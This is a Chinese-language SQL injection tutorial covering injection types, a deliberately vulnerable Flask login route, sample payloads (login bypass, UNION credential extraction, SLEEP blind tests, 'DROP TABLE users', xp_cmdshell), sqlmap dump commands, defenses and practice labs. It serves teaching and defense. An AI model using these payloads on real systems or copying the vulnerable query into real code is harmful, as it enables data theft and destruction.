SQL 注入(SQL Injection) 是 Web 安全中最经典、最具破坏力的攻击方式之一。攻击者通过构造恶意输入,干扰原本的 SQL 语句逻辑,从而控制数据库的查询、修改、删除甚至执行系统命令。
此类漏洞常出现在:
漏洞影响范围:
Web 应用层 → 数据库层 → 系统层
可泄露隐私、篡改数据、删除表、提权、入侵服务器。
SQL 注入通常发生在应用程序将用户输入未经净化直接拼接到 SQL 查询中时。
示例(登录验证):
SELECT * FROM users WHERE username = '$username' AND password = '$password';
若用户输入:
username = admin' --
password = 任意内容
执行语句变成:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意内容';
-- 为注释符,密码验证被绕过。
根本原因:
| 类型 | 描述 | 特征 | 示例 Payload |
|---|---|---|---|
| 基于错误(Error-based) | 利用数据库错误信息回显获取信息 | 页面显示数据库报错信息 | ' OR 1=1 ORDER BY 100 -- |
| 联合查询(UNION-based) | 使用 UNION 合并额外 SELECT 结果 |
返回多张表的数据 | ' UNION SELECT null, user, password FROM users -- |
| 布尔盲注(Boolean-based Blind) | 无回显,依据响应差异推测 | 页面返回真假状态不同 | ' AND 1=1 -- / ' AND 1=2 -- |
| 时间盲注(Time-based Blind) | 无任何回显,利用延时函数检测 | 页面响应时间变化 | ' OR IF(1=1,SLEEP(5),0) -- |
| 堆叠查询(Stacked Queries) | 支持多条语句 | 执行多个动作 | 1; DROP TABLE users -- |
| 二次注入(Second-order) | 初次注入未触发,之后操作中触发 | 登记、评论等延迟触发 | 注册时输入恶意数据,后台查看时报错 |
from flask import Flask, request
import sqlite3
app = Flask(__name__)
@app.route('/login')
def login():
username = request.args.get("username")
password = request.args.get("password")
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
# ⚠️ 存在SQL注入漏洞
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
result = cursor.fetchone()
if result:
return "Login success"
else:
return "Login failed"
执行语句:
输入:?username=admin' --&password=123 可绕过登录。
效果: 绕过身份验证。
输入:
id=1 UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() --
效果:获取当前数据库所有表名。
'; EXEC xp_cmdshell('whoami'); --
⚠️ 前提是数据库具有执行系统命令的权限。
' " \ )。id=1 vs id=1 AND 1=2 → 响应页面差异。' OR IF(1=1,SLEEP(5),0)-- → 页面延迟响应。| 工具 | 特点 |
|---|---|
| sqlmap | 自动化 SQL 注入检测和利用,支持布尔、盲注、联合注入等 |
| Burp Suite + Intruder | 拦截和爆破注入点,结合手工调试 |
| Nmap NSE 脚本 | 用于扫描暴露的 SQL 注入点 |
| Wapiti、Acunetix、AppScan | 商业/开源 Web 漏洞扫描器 |
sqlmap -u "http://example.com/product.php?id=1" --dbs
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --dump
支持自动检测数据库类型、注入方式、提权、文件读取等。
ORDER BY 1, 2, ..., N
UNION SELECT 1,2,3,...
' -- " -- %27 -- #
| 方法 | 说明 |
|---|---|
| ✅ 参数化查询 | 使用预编译语句,避免拼接原始 SQL |
| ✅ ORM 框架 | 如 Django ORM、SQLAlchemy 默认防注入 |
| ✅ 输入验证(白名单) | 所有用户输入应按规则校验类型、长度、格式 |
| ✅ 最小权限原则 | 应用账号应只具备最小必要权限 |
| ✅ 隐藏错误信息 | 生产环境关闭 SQL 报错输出,避免信息泄露 |
| ✅ Web 应用防火墙(WAF) | 阻挡典型注入语句和行为特征 |
| ⚠️ 黑名单过滤不可取 | 如过滤 OR、-- 等方式易被绕过(编码/变形) |
| 靶场环境 | 特点 |
|---|---|
| DVWA | 经典 Web 靶场,包含 SQLi、XSS 等漏洞 |
| SQLi Labs | 专注于 SQL 注入的练习平台 |
| Hack The Box | 高质量渗透测试环境 |
| Vulhub | Docker 靶场集合,适合快速部署 |
📝 作者:ahlien 📧 邮箱:mfs24@mails.tsinghua.edu.cn
🏫 单位:Tsinghua University
📅 最后更新时间:2025-07-25